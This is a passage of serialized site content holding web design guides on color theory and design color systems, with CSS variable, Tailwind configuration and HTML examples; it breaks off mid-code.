hsl(215, 80%, 52%);\n--primary-500: hsl(215, 80%, 42%);\n--primary-600: hsl(215, 80%, 34%);\n--primary-700: hsl(215, 80%, 26%);\n--primary-800: hsl(215, 80%, 18%);\n",[143,91500,91501,91506,91511,91516,91521,91526,91531,91536,91541],{"__ignoreMap":141},[1560,91502,91503],{"class":1562,"line":1563},[1560,91504,91505],{"class":1570},"--primary-50:  hsl(215, 80%, 95%);\n",[1560,91507,91508],{"class":1562,"line":337},[1560,91509,91510],{"class":1570},"--primary-100: hsl(215, 80%, 88%);\n",[1560,91512,91513],{"class":1562,"line":343},[1560,91514,91515],{"class":1570},"--primary-200: hsl(215, 80%, 76%);\n",[1560,91517,91518],{"class":1562,"line":365},[1560,91519,91520],{"class":1570},"--primary-300: hsl(215, 80%, 64%);\n",[1560,91522,91523],{"class":1562,"line":889},[1560,91524,91525],{"class":1570},"--primary-400: hsl(215, 80%, 52%);\n",[1560,91527,91528],{"class":1562,"line":1710},[1560,91529,91530],{"class":1570},"--primary-500: hsl(215, 80%, 42%);\n",[1560,91532,91533],{"class":1562,"line":1717},[1560,91534,91535],{"class":1570},"--primary-600: hsl(215, 80%, 34%);\n",[1560,91537,91538],{"class":1562,"line":1747},[1560,91539,91540],{"class":1570},"--primary-700: hsl(215, 80%, 26%);\n",[1560,91542,91543],{"class":1562,"line":2507},[1560,91544,91545],{"class":1570},"--primary-800: hsl(215, 80%, 18%);\n",[33,91547,91549],{"id":91548},"step-3-add-a-neutral-scale","Step 3: Add a Neutral Scale",[16,91551,91552],{},"Choose a slightly tinted gray instead of pure gray for warmth:",[135,91554,91556],{"className":1554,"code":91555,"language":1556,"meta":141,"style":141},"--gray-50:  hsl(215, 10%, 97%);\n--gray-100: hsl(215, 10%, 93%);\n--gray-200: hsl(215, 10%, 85%);\n--gray-500: hsl(215, 10%, 45%);\n--gray-800: hsl(215, 10%, 15%);\n--gray-900: hsl(215, 10%, 10%);\n",[143,91557,91558,91563,91568,91573,91578,91583],{"__ignoreMap":141},[1560,91559,91560],{"class":1562,"line":1563},[1560,91561,91562],{"class":1570},"--gray-50:  hsl(215, 10%, 97%);\n",[1560,91564,91565],{"class":1562,"line":337},[1560,91566,91567],{"class":1570},"--gray-100: hsl(215, 10%, 93%);\n",[1560,91569,91570],{"class":1562,"line":343},[1560,91571,91572],{"class":1570},"--gray-200: hsl(215, 10%, 85%);\n",[1560,91574,91575],{"class":1562,"line":365},[1560,91576,91577],{"class":1570},"--gray-500: hsl(215, 10%, 45%);\n",[1560,91579,91580],{"class":1562,"line":889},[1560,91581,91582],{"class":1570},"--gray-800: hsl(215, 10%, 15%);\n",[1560,91584,91585],{"class":1562,"line":1710},[1560,91586,91587],{"class":1570},"--gray-900: hsl(215, 10%, 10%);\n",[33,91589,91591],{"id":91590},"step-4-pick-an-accent","Step 4: Pick an Accent",[16,91593,91594],{},"Use a harmony rule to find your accent:",[41,91596,91597,91602,91607],{},[44,91598,91599,91601],{},[47,91600,29858],{}," for maximum contrast",[44,91603,91604,91606],{},[47,91605,29901],{}," for subtle distinction",[44,91608,91609,91611],{},[47,91610,29912],{}," for visual variety",[16,91613,91614],{},"Define the accent at one or two lightness levels—not a full scale.",[33,91616,91618],{"id":91617},"step-5-define-semantic-colors","Step 5: Define Semantic Colors",[16,91620,91621],{},"Reserve specific colors for status communication:",[135,91623,91625],{"className":1554,"code":91624,"language":1556,"meta":141,"style":141},"--success: hsl(142, 70%, 40%);\n--warning: hsl(38, 90%, 50%);\n--error:   hsl(0, 80%, 55%);\n--info:    hsl(200, 85%, 50%);\n",[143,91626,91627,91632,91637,91642],{"__ignoreMap":141},[1560,91628,91629],{"class":1562,"line":1563},[1560,91630,91631],{"class":1570},"--success: hsl(142, 70%, 40%);\n",[1560,91633,91634],{"class":1562,"line":337},[1560,91635,91636],{"class":1570},"--warning: hsl(38, 90%, 50%);\n",[1560,91638,91639],{"class":1562,"line":343},[1560,91640,91641],{"class":1570},"--error:   hsl(0, 80%, 55%);\n",[1560,91643,91644],{"class":1562,"line":365},[1560,91645,91646],{"class":1570},"--info:    hsl(200, 85%, 50%);\n",[16,91648,91649],{},"Verify each semantic color against your background for WCAG compliance.",[33,91651,91653],{"id":91652},"step-6-validate-in-both-modes","Step 6: Validate in Both Modes",[16,91655,91656],{},"Test every color pair in both light and dark themes. Dark mode typically requires:",[41,91658,91659,91662,91665],{},[44,91660,91661],{},"Lighter text colors",[44,91663,91664],{},"Desaturated accent colors (vivid colors feel harsher on dark backgrounds)",[44,91666,91667,91668,91671,91672,1525],{},"Slightly elevated surface colors (",[143,91669,91670],{},"hsl(215, 10%, 13%)"," instead of pure ",[143,91673,4321],{},[11,91675,7383],{"id":7382},[41,91677,91678,91684,91690,91704,91710],{},[44,91679,91680,91683],{},[47,91681,91682],{},"Too many hues",": Stick to one primary hue and one accent. More creates chaos.",[44,91685,91686,91689],{},[47,91687,91688],{},"Ignoring cultural context",": Red signals danger in the West but luck in East Asia. Research your audience.",[44,91691,91692,91695,91696,91699,91700,91703],{},[47,91693,91694],{},"Pure black on white",": The extreme contrast (21:1) causes eye strain. Use dark gray (",[143,91697,91698],{},"#1F2937",") on off-white (",[143,91701,91702],{},"#F9FAFB",") instead.",[44,91705,91706,91709],{},[47,91707,91708],{},"Skipping accessibility checks",": What looks fine to you may be unreadable to someone with color vision deficiency.",[44,91711,91712,91715],{},[47,91713,91714],{},"Inventing your own palette logic",": Use established harmony rules. They exist because they work.",[11,91717,1355],{"id":1354},[41,91719,91720,91723,91726,91729,91732,91735],{},[44,91721,91722],{},"The color wheel is the foundation—every harmony rule is geometry on this circle",[44,91724,91725],{},"Complementary = high contrast; analogous = low contrast; monochromatic = cohesive",[44,91727,91728],{},"Warm colors advance; cool colors recede—use this to guide attention",[44,91730,91731],{},"WCAG AA requires 4.5:1 contrast for body text—always verify",[44,91733,91734],{},"Build palettes with a primary scale, neutral scale, one accent, and semantic colors",[44,91736,91737],{},"Test in both light and dark modes before shipping",[11,91739,286],{"id":285},[16,91741,91742],{},"Explore and generate palettes with our free tools:",[41,91744,91745,91750],{},[44,91746,91747,91749],{},[98,91748,18588],{"href":18587}," — pick a hue and get every format",[44,91751,91752,91754],{},[98,91753,2423],{"href":2422}," — build harmonious palettes from a single color",[11,91756,321],{"id":320},[41,91758,91759,91764],{},[44,91760,91761,91763],{},[98,91762,29505],{"href":29504}," — choose colors visually and copy codes in any format",[44,91765,91766,91768],{},[98,91767,28689],{"href":29551}," — HEX, RGB, HSL, and CMYK explained in depth",[2043,91770,91771],{},"html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}",{"title":141,"searchDepth":337,"depth":337,"links":91773},[91774,91775,91780,91787,91790,91794,91802,91803,91804,91805],{"id":91098,"depth":337,"text":91099},{"id":91108,"depth":337,"text":91109,"children":91776},[91777,91778,91779],{"id":91115,"depth":343,"text":91116},{"id":91139,"depth":343,"text":91140},{"id":91163,"depth":343,"text":91164},{"id":91173,"depth":337,"text":91174,"children":91781},[91782,91783,91784,91785,91786],{"id":30825,"depth":343,"text":29858},{"id":30847,"depth":343,"text":29901},{"id":30869,"depth":343,"text":29912},{"id":30950,"depth":343,"text":29880},{"id":30895,"depth":343,"text":30896},{"id":91292,"depth":337,"text":91293,"children":91788},[91789],{"id":91341,"depth":343,"text":91342},{"id":91368,"depth":337,"text":91369,"children":91791},[91792,91793],{"id":91409,"depth":343,"text":91410},{"id":91439,"depth":343,"text":91440},{"id":91451,"depth":337,"text":91452,"children":91795},[91796,91797,91798,91799,91800,91801],{"id":91458,"depth":343,"text":91459},{"id":91491,"depth":343,"text":91492},{"id":91548,"depth":343,"text":91549},{"id":91590,"depth":343,"text":91591},{"id":91617,"depth":343,"text":91618},{"id":91652,"depth":343,"text":91653},{"id":7382,"depth":337,"text":7383},{"id":1354,"depth":337,"text":1355},{"id":285,"depth":337,"text":286},{"id":320,"depth":337,"text":321},"Color theory essentials for web designers — the color wheel, harmony types, contrast rules, and building effective palettes.",{"immutable":363},{"title":29512,"description":91806},"guides\u002Fdesign-color-fundamentals","KK_r_MJwvh7UPamzeJGpTkYx8QIIvQGxBFjHrWCuoK0",{"id":91812,"title":91813,"body":91814,"date":2070,"description":93253,"extension":361,"meta":93254,"navigation":363,"path":93255,"readingTime":2507,"seo":93256,"stem":93257,"__hash__":93258},"guides\u002Fguides\u002Fdesign-color-systems.md","Design Color Systems",{"type":8,"value":91815,"toc":93225},[91816,91820,91823,91826,91829,91831,91847,91851,92029,92032,92036,92049,92053,92059,92063,92243,92247,92391,92394,92398,92434,92438,92441,92445,92604,92608,92712,92716,92719,92798,92867,92876,92878,92881,92885,93034,93038,93083,93085,93088,93092,93128,93132,93135,93167,93171,93181,93183,93213,93215,93222],[11,91817,91819],{"id":91818},"what-is-a-design-color-system","What Is a Design Color System",[16,91821,91822],{},"A design color system is a structured set of color tokens that scale across your entire application. Unlike a simple palette, a color system assigns semantic meaning to each token so that every color maps to a specific purpose—primary actions, surfaces, danger states, and more.",[16,91824,91825],{},"The key difference is abstraction. A palette says \"here are six colors.\" A system says \"here is what each color means, how it adapts to dark mode, and where it appears in the interface.\" This makes your design predictable, maintainable, and accessible as your project grows.",[16,91827,91828],{},"Without a system, teams pick colors ad hoc. The result: five slightly different blues, inconsistent hover states, and contrast failures nobody catches until after launch.",[11,91830,16921],{"id":16920},[16,91832,91833,91834,91836,91837,91840,91841,91836,91844,468],{},"Semantic naming means tokens describe purpose, not appearance. Instead of ",[143,91835,4211],{},", you write ",[143,91838,91839],{},"primary",". Instead of ",[143,91842,91843],{},"red-600",[143,91845,91846],{},"danger",[33,91848,91850],{"id":91849},"core-semantic-tokens","Core Semantic Tokens",[193,91852,91853,91864],{},[196,91854,91855],{},[199,91856,91857,91859,91861],{},[202,91858,4028],{},[202,91860,2758],{},[202,91862,91863],{},"Example Value",[211,91865,91866,91879,91893,91907,91921,91935,91948,91962,91975,91988,92002,92016],{},[199,91867,91868,91872,91875],{},[216,91869,91870],{},[143,91871,91839],{},[216,91873,91874],{},"Main brand actions, links",[216,91876,91877],{},[143,91878,2260],{},[199,91880,91881,91886,91889],{},[216,91882,91883],{},[143,91884,91885],{},"primary-hover",[216,91887,91888],{},"Hovered primary state",[216,91890,91891],{},[143,91892,3488],{},[199,91894,91895,91900,91903],{},[216,91896,91897],{},[143,91898,91899],{},"secondary",[216,91901,91902],{},"Supporting actions",[216,91904,91905],{},[143,91906,30740],{},[199,91908,91909,91914,91917],{},[216,91910,91911],{},[143,91912,91913],{},"surface",[216,91915,91916],{},"Card and panel backgrounds",[216,91918,91919],{},[143,91920,3390],{},[199,91922,91923,91928,91931],{},[216,91924,91925],{},[143,91926,91927],{},"surface-alt",[216,91929,91930],{},"Alternate surface (sidebar, header)",[216,91932,91933],{},[143,91934,3406],{},[199,91936,91937,91941,91944],{},[216,91938,91939],{},[143,91940,140],{},[216,91942,91943],{},"Primary body text",[216,91945,91946],{},[143,91947,2299],{},[199,91949,91950,91955,91958],{},[216,91951,91952],{},[143,91953,91954],{},"text-muted",[216,91956,91957],{},"Secondary, helper text",[216,91959,91960],{},[143,91961,30767],{},[199,91963,91964,91968,91971],{},[216,91965,91966],{},[143,91967,51869],{},[216,91969,91970],{},"Dividers, outlines",[216,91972,91973],{},[143,91974,55825],{},[199,91976,91977,91981,91984],{},[216,91978,91979],{},[143,91980,91846],{},[216,91982,91983],{},"Errors, destructive actions",[216,91985,91986],{},[143,91987,54526],{},[199,91989,91990,91995,91998],{},[216,91991,91992],{},[143,91993,91994],{},"success",[216,91996,91997],{},"Confirmations, valid states",[216,91999,92000],{},[143,92001,18255],{},[199,92003,92004,92009,92012],{},[216,92005,92006],{},[143,92007,92008],{},"warning",[216,92010,92011],{},"Caution states",[216,92013,92014],{},[143,92015,30753],{},[199,92017,92018,92022,92025],{},[216,92019,92020],{},[143,92021,27770],{},[216,92023,92024],{},"Informational highlights",[216,92026,92027],{},[143,92028,2260],{},[16,92030,92031],{},"Semantic tokens decouple your CSS from specific color values. When you rebrand or adjust a shade, you change the token definition once—not hundreds of class references.",[33,92033,92035],{"id":92034},"why-not-use-raw-color-names","Why Not Use Raw Color Names",[16,92037,92038,92039,1531,92041,92044,92045,92048],{},"Raw names like ",[143,92040,4211],{},[143,92042,92043],{},"gray-200"," couple your styles to a specific palette. If you switch from a blue brand to a green one, you must find and replace every ",[143,92046,92047],{},"blue-*"," reference. With semantic tokens, you update one variable and every component adapts.",[11,92050,92052],{"id":92051},"css-custom-properties-approach","CSS Custom Properties Approach",[16,92054,92055,92056,92058],{},"CSS custom properties (variables) are the simplest way to implement a color system. Define tokens on ",[143,92057,2207],{},", reference them everywhere, and override them for dark mode.",[33,92060,92062],{"id":92061},"defining-tokens","Defining Tokens",[135,92064,92066],{"className":1554,"code":92065,"language":1556,"meta":141,"style":141},":root {\n  \u002F* Brand *\u002F\n  --color-primary: #3B82F6;\n  --color-primary-hover: #2563EB;\n  --color-primary-active: #1D4ED8;\n\n  \u002F* Surfaces *\u002F\n  --color-surface: #FFFFFF;\n  --color-surface-alt: #F1F5F9;\n\n  \u002F* Text *\u002F\n  --color-text: #0F172A;\n  --color-text-muted: #64748B;\n\n  \u002F* Borders *\u002F\n  --color-border: #E2E8F0;\n\n  \u002F* Semantic *\u002F\n  --color-danger: #EF4444;\n  --color-success: #10B981;\n  --color-warning: #F59E0B;\n  --color-info: #3B82F6;\n}\n",[143,92067,92068,92074,92079,92089,92099,92110,92114,92119,92129,92140,92144,92149,92159,92169,92173,92178,92189,92193,92198,92208,92218,92228,92239],{"__ignoreMap":141},[1560,92069,92070,92072],{"class":1562,"line":1563},[1560,92071,2207],{"class":1566},[1560,92073,1571],{"class":1570},[1560,92075,92076],{"class":1562,"line":337},[1560,92077,92078],{"class":1649},"  \u002F* Brand *\u002F\n",[1560,92080,92081,92083,92085,92087],{"class":1562,"line":343},[1560,92082,5815],{"class":2219},[1560,92084,1663],{"class":1570},[1560,92086,2260],{"class":1576},[1560,92088,2228],{"class":1570},[1560,92090,92091,92093,92095,92097],{"class":1562,"line":365},[1560,92092,5841],{"class":2219},[1560,92094,1663],{"class":1570},[1560,92096,3488],{"class":1576},[1560,92098,2228],{"class":1570},[1560,92100,92101,92104,92106,92108],{"class":1562,"line":889},[1560,92102,92103],{"class":2219},"  --color-primary-active",[1560,92105,1663],{"class":1570},[1560,92107,54491],{"class":1576},[1560,92109,2228],{"class":1570},[1560,92111,92112],{"class":1562,"line":1710},[1560,92113,1702],{"emptyLinePlaceholder":363},[1560,92115,92116],{"class":1562,"line":1717},[1560,92117,92118],{"class":1649},"  \u002F* Surfaces *\u002F\n",[1560,92120,92121,92123,92125,92127],{"class":1562,"line":1747},[1560,92122,2238],{"class":2219},[1560,92124,1663],{"class":1570},[1560,92126,3390],{"class":1576},[1560,92128,2228],{"class":1570},[1560,92130,92131,92134,92136,92138],{"class":1562,"line":2507},[1560,92132,92133],{"class":2219},"  --color-surface-alt",[1560,92135,1663],{"class":1570},[1560,92137,3406],{"class":1576},[1560,92139,2228],{"class":1570},[1560,92141,92142],{"class":1562,"line":2524},[1560,92143,1702],{"emptyLinePlaceholder":363},[1560,92145,92146],{"class":1562,"line":2529},[1560,92147,92148],{"class":1649},"  \u002F* Text *\u002F\n",[1560,92150,92151,92153,92155,92157],{"class":1562,"line":2534},[1560,92152,54609],{"class":2219},[1560,92154,1663],{"class":1570},[1560,92156,2299],{"class":1576},[1560,92158,2228],{"class":1570},[1560,92160,92161,92163,92165,92167],{"class":1562,"line":2542},[1560,92162,40245],{"class":2219},[1560,92164,1663],{"class":1570},[1560,92166,30767],{"class":1576},[1560,92168,2228],{"class":1570},[1560,92170,92171],{"class":1562,"line":2558},[1560,92172,1702],{"emptyLinePlaceholder":363},[1560,92174,92175],{"class":1562,"line":2570},[1560,92176,92177],{"class":1649},"  \u002F* Borders *\u002F\n",[1560,92179,92180,92183,92185,92187],{"class":1562,"line":6638},[1560,92181,92182],{"class":2219},"  --color-border",[1560,92184,1663],{"class":1570},[1560,92186,55825],{"class":1576},[1560,92188,2228],{"class":1570},[1560,92190,92191],{"class":1562,"line":11615},[1560,92192,1702],{"emptyLinePlaceholder":363},[1560,92194,92195],{"class":1562,"line":11621},[1560,92196,92197],{"class":1649},"  \u002F* Semantic *\u002F\n",[1560,92199,92200,92202,92204,92206],{"class":1562,"line":11633},[1560,92201,54625],{"class":2219},[1560,92203,1663],{"class":1570},[1560,92205,54526],{"class":1576},[1560,92207,2228],{"class":1570},[1560,92209,92210,92212,92214,92216],{"class":1562,"line":11638},[1560,92211,3499],{"class":2219},[1560,92213,1663],{"class":1570},[1560,92215,18255],{"class":1576},[1560,92217,2228],{"class":1570},[1560,92219,92220,92222,92224,92226],{"class":1562,"line":11672},[1560,92221,3514],{"class":2219},[1560,92223,1663],{"class":1570},[1560,92225,30753],{"class":1576},[1560,92227,2228],{"class":1570},[1560,92229,92230,92233,92235,92237],{"class":1562,"line":19435},[1560,92231,92232],{"class":2219},"  --color-info",[1560,92234,1663],{"class":1570},[1560,92236,2260],{"class":1576},[1560,92238,2228],{"class":1570},[1560,92240,92241],{"class":1562,"line":19442},[1560,92242,1585],{"class":1570},[33,92244,92246],{"id":92245},"using-tokens-in-components","Using Tokens in Components",[135,92248,92250],{"className":1554,"code":92249,"language":1556,"meta":141,"style":141},".button-primary {\n  background-color: var(--color-primary);\n  color: #FFFFFF;\n  border: none;\n}\n\n.button-primary:hover {\n  background-color: var(--color-primary-hover);\n}\n\n.card {\n  background-color: var(--color-surface);\n  border: 1px solid var(--color-border);\n  color: var(--color-text);\n}\n",[143,92251,92252,92259,92273,92283,92293,92297,92301,92308,92323,92327,92331,92337,92352,92372,92387],{"__ignoreMap":141},[1560,92253,92254,92257],{"class":1562,"line":1563},[1560,92255,92256],{"class":1566},".button-primary",[1560,92258,1571],{"class":1570},[1560,92260,92261,92263,92265,92267,92269,92271],{"class":1562,"line":337},[1560,92262,2492],{"class":1576},[1560,92264,1663],{"class":1570},[1560,92266,2497],{"class":1576},[1560,92268,1688],{"class":1570},[1560,92270,54397],{"class":2219},[1560,92272,1744],{"class":1570},[1560,92274,92275,92277,92279,92281],{"class":1562,"line":343},[1560,92276,2510],{"class":1576},[1560,92278,1663],{"class":1570},[1560,92280,3390],{"class":1576},[1560,92282,2228],{"class":1570},[1560,92284,92285,92287,92289,92291],{"class":1562,"line":365},[1560,92286,3580],{"class":1576},[1560,92288,1663],{"class":1570},[1560,92290,24609],{"class":1576},[1560,92292,2228],{"class":1570},[1560,92294,92295],{"class":1562,"line":889},[1560,92296,1585],{"class":1570},[1560,92298,92299],{"class":1562,"line":1710},[1560,92300,1702],{"emptyLinePlaceholder":363},[1560,92302,92303,92306],{"class":1562,"line":1717},[1560,92304,92305],{"class":1566},".button-primary:hover",[1560,92307,1571],{"class":1570},[1560,92309,92310,92312,92314,92316,92318,92321],{"class":1562,"line":1747},[1560,92311,2492],{"class":1576},[1560,92313,1663],{"class":1570},[1560,92315,2497],{"class":1576},[1560,92317,1688],{"class":1570},[1560,92319,92320],{"class":2219},"--color-primary-hover",[1560,92322,1744],{"class":1570},[1560,92324,92325],{"class":1562,"line":2507},[1560,92326,1585],{"class":1570},[1560,92328,92329],{"class":1562,"line":2524},[1560,92330,1702],{"emptyLinePlaceholder":363},[1560,92332,92333,92335],{"class":1562,"line":2529},[1560,92334,1567],{"class":1566},[1560,92336,1571],{"class":1570},[1560,92338,92339,92341,92343,92345,92347,92350],{"class":1562,"line":2534},[1560,92340,2492],{"class":1576},[1560,92342,1663],{"class":1570},[1560,92344,2497],{"class":1576},[1560,92346,1688],{"class":1570},[1560,92348,92349],{"class":2219},"--color-surface",[1560,92351,1744],{"class":1570},[1560,92353,92354,92356,92358,92360,92362,92364,92366,92368,92370],{"class":1562,"line":2542},[1560,92355,3580],{"class":1576},[1560,92357,1663],{"class":1570},[1560,92359,3585],{"class":1576},[1560,92361,1670],{"class":1669},[1560,92363,3590],{"class":1576},[1560,92365,17282],{"class":1576},[1560,92367,1688],{"class":1570},[1560,92369,17287],{"class":2219},[1560,92371,1744],{"class":1570},[1560,92373,92374,92376,92378,92380,92382,92385],{"class":1562,"line":2558},[1560,92375,2510],{"class":1576},[1560,92377,1663],{"class":1570},[1560,92379,2497],{"class":1576},[1560,92381,1688],{"class":1570},[1560,92383,92384],{"class":2219},"--color-text",[1560,92386,1744],{"class":1570},[1560,92388,92389],{"class":1562,"line":2570},[1560,92390,1585],{"class":1570},[16,92392,92393],{},"When you need to rebrand or support dark mode, you only redefine the variables—not the component styles.",[33,92395,92397],{"id":92396},"avoiding-common-pitfalls","Avoiding Common Pitfalls",[41,92399,92400,92412,92425],{},[44,92401,92402,1663,92405,92408,92409,92411],{},[47,92403,92404],{},"Don't nest variables deeply",[143,92406,92407],{},"--color-button-bg: var(--color-primary)"," adds indirection without value. Reference ",[143,92410,54397],{}," directly.",[44,92413,92414,92417,92418,92420,92421,92424],{},[47,92415,92416],{},"Keep the naming flat",": A two-level hierarchy like ",[143,92419,54397],{}," is enough. Three levels (",[143,92422,92423],{},"--color-action-primary-bg",") become unwieldy fast.",[44,92426,92427,1663,92430,92433],{},[47,92428,92429],{},"Always define a fallback",[143,92431,92432],{},"var(--color-primary, #3B82F6)"," prevents breakage if a token goes missing.",[11,92435,92437],{"id":92436},"tailwind-theme-extension","Tailwind Theme Extension",[16,92439,92440],{},"Tailwind CSS lets you extend its default theme with custom colors. This is the most productive way to integrate a color system if you already use Tailwind.",[33,92442,92444],{"id":92443},"basic-extension","Basic Extension",[135,92446,92448],{"className":1607,"code":92447,"language":1609,"meta":141,"style":141},"\u002F\u002F tailwind.config.js\nmodule.exports = {\n  theme: {\n    extend: {\n      colors: {\n        primary: {\n          DEFAULT: '#3B82F6',\n          hover: '#2563EB',\n          active: '#1D4ED8',\n          light: '#DBEAFE',\n        },\n        surface: {\n          DEFAULT: '#FFFFFF',\n          alt: '#F1F5F9',\n        },\n        danger: '#EF4444',\n        success: '#10B981',\n        warning: '#F59E0B',\n      },\n    },\n  },\n}\n",[143,92449,92450,92455,92467,92471,92476,92481,92486,92496,92506,92516,92526,92530,92535,92544,92554,92558,92568,92578,92588,92592,92596,92600],{"__ignoreMap":141},[1560,92451,92452],{"class":1562,"line":1563},[1560,92453,92454],{"class":1649},"\u002F\u002F tailwind.config.js\n",[1560,92456,92457,92459,92461,92463,92465],{"class":1562,"line":337},[1560,92458,11885],{"class":1576},[1560,92460,468],{"class":1570},[1560,92462,11890],{"class":1576},[1560,92464,8186],{"class":1669},[1560,92466,1571],{"class":1570},[1560,92468,92469],{"class":1562,"line":343},[1560,92470,17530],{"class":1570},[1560,92472,92473],{"class":1562,"line":365},[1560,92474,92475],{"class":1570},"    extend: {\n",[1560,92477,92478],{"class":1562,"line":889},[1560,92479,92480],{"class":1570},"      colors: {\n",[1560,92482,92483],{"class":1562,"line":1710},[1560,92484,92485],{"class":1570},"        primary: {\n",[1560,92487,92488,92491,92494],{"class":1562,"line":1717},[1560,92489,92490],{"class":1570},"          DEFAULT: ",[1560,92492,92493],{"class":5634},"'#3B82F6'",[1560,92495,11943],{"class":1570},[1560,92497,92498,92501,92504],{"class":1562,"line":1747},[1560,92499,92500],{"class":1570},"          hover: ",[1560,92502,92503],{"class":5634},"'#2563EB'",[1560,92505,11943],{"class":1570},[1560,92507,92508,92511,92514],{"class":1562,"line":2507},[1560,92509,92510],{"class":1570},"          active: ",[1560,92512,92513],{"class":5634},"'#1D4ED8'",[1560,92515,11943],{"class":1570},[1560,92517,92518,92521,92524],{"class":1562,"line":2524},[1560,92519,92520],{"class":1570},"          light: ",[1560,92522,92523],{"class":5634},"'#DBEAFE'",[1560,92525,11943],{"class":1570},[1560,92527,92528],{"class":1562,"line":2529},[1560,92529,20786],{"class":1570},[1560,92531,92532],{"class":1562,"line":2534},[1560,92533,92534],{"class":1570},"        surface: {\n",[1560,92536,92537,92539,92542],{"class":1562,"line":2542},[1560,92538,92490],{"class":1570},[1560,92540,92541],{"class":5634},"'#FFFFFF'",[1560,92543,11943],{"class":1570},[1560,92545,92546,92549,92552],{"class":1562,"line":2558},[1560,92547,92548],{"class":1570},"          alt: ",[1560,92550,92551],{"class":5634},"'#F1F5F9'",[1560,92553,11943],{"class":1570},[1560,92555,92556],{"class":1562,"line":2570},[1560,92557,20786],{"class":1570},[1560,92559,92560,92563,92566],{"class":1562,"line":6638},[1560,92561,92562],{"class":1570},"        danger: ",[1560,92564,92565],{"class":5634},"'#EF4444'",[1560,92567,11943],{"class":1570},[1560,92569,92570,92573,92576],{"class":1562,"line":11615},[1560,92571,92572],{"class":1570},"        success: ",[1560,92574,92575],{"class":5634},"'#10B981'",[1560,92577,11943],{"class":1570},[1560,92579,92580,92583,92586],{"class":1562,"line":11621},[1560,92581,92582],{"class":1570},"        warning: ",[1560,92584,92585],{"class":5634},"'#F59E0B'",[1560,92587,11943],{"class":1570},[1560,92589,92590],{"class":1562,"line":11633},[1560,92591,11976],{"class":1570},[1560,92593,92594],{"class":1562,"line":11638},[1560,92595,17600],{"class":1570},[1560,92597,92598],{"class":1562,"line":11672},[1560,92599,11862],{"class":1570},[1560,92601,92602],{"class":1562,"line":19435},[1560,92603,1585],{"class":1570},[33,92605,92607],{"id":92606},"using-custom-colors-in-markup","Using Custom Colors in Markup",[135,92609,92611],{"className":6417,"code":92610,"language":6419,"meta":141,"style":141},"\u003Cbutton class=\"bg-primary hover:bg-primary-hover text-white px-4 py-2 rounded\">\n  Save Changes\n\u003C\u002Fbutton>\n\n\u003Cdiv class=\"bg-surface border border-gray-200 p-6 rounded-lg\">\n  \u003Cp class=\"text-gray-900\">Card content goes here.\u003C\u002Fp>\n\u003C\u002Fdiv>\n\n\u003Cspan class=\"text-danger font-medium\">Error: Invalid email address\u003C\u002Fspan>\n",[143,92612,92613,92628,92633,92641,92645,92660,92680,92688,92692],{"__ignoreMap":141},[1560,92614,92615,92617,92619,92621,92623,92626],{"class":1562,"line":1563},[1560,92616,6431],{"class":1570},[1560,92618,12250],{"class":2484},[1560,92620,11423],{"class":1566},[1560,92622,7297],{"class":1570},[1560,92624,92625],{"class":5634},"\"bg-primary hover:bg-primary-hover text-white px-4 py-2 rounded\"",[1560,92627,6441],{"class":1570},[1560,92629,92630],{"class":1562,"line":337},[1560,92631,92632],{"class":1570},"  Save Changes\n",[1560,92634,92635,92637,92639],{"class":1562,"line":343},[1560,92636,11242],{"class":1570},[1560,92638,12250],{"class":2484},[1560,92640,6441],{"class":1570},[1560,92642,92643],{"class":1562,"line":365},[1560,92644,1702],{"emptyLinePlaceholder":363},[1560,92646,92647,92649,92651,92653,92655,92658],{"class":1562,"line":889},[1560,92648,6431],{"class":1570},[1560,92650,7291],{"class":2484},[1560,92652,11423],{"class":1566},[1560,92654,7297],{"class":1570},[1560,92656,92657],{"class":5634},"\"bg-surface border border-gray-200 p-6 rounded-lg\"",[1560,92659,6441],{"class":1570},[1560,92661,92662,92664,92666,92668,92670,92673,92676,92678],{"class":1562,"line":1710},[1560,92663,11223],{"class":1570},[1560,92665,16],{"class":2484},[1560,92667,11423],{"class":1566},[1560,92669,7297],{"class":1570},[1560,92671,92672],{"class":5634},"\"text-gray-900\"",[1560,92674,92675],{"class":1570},">Card content goes here.\u003C\u002F",[1560,92677,16],{"class":2484},[1560,92679,6441],{"class":1570},[1560,92681,92682,92684,92686],{"class":1562,"line":1717},[1560,92683,11242],{"class":1570},[1560,92685,7291],{"class":2484},[1560,92687,6441],{"class":1570},[1560,92689,92690],{"class":1562,"line":1747},[1560,92691,1702],{"emptyLinePlaceholder":363},[1560,92693,92694,92696,92698,92700,92702,92705,92708,92710],{"class":1562,"line":2507},[1560,92695,6431],{"class":1570},[1560,92697,1560],{"class":2484},[1560,92699,11423],{"class":1566},[1560,92701,7297],{"class":1570},[1560,92703,92704],{"class":5634},"\"text-danger font-medium\"",[1560,92706,92707],{"class":1570},">Error: Invalid email address\u003C\u002F",[1560,92709,1560],{"class":2484},[1560,92711,6441],{"class":1570},[33,92713,92715],{"id":92714},"css-variables-with-tailwind","CSS Variables with Tailwind",[16,92717,92718],{},"For maximum flexibility—especially dark mode—combine Tailwind's theme extension with CSS variables:",[135,92720,92722],{"className":1607,"code":92721,"language":1609,"meta":141,"style":141},"\u002F\u002F tailwind.config.js\nmodule.exports = {\n  theme: {\n    extend: {\n      colors: {\n        primary: 'rgb(var(--color-primary) \u002F \u003Calpha-value>)',\n        surface: 'rgb(var(--color-surface) \u002F \u003Calpha-value>)',\n        text: 'rgb(var(--color-text) \u002F \u003Calpha-value>)',\n      },\n    },\n  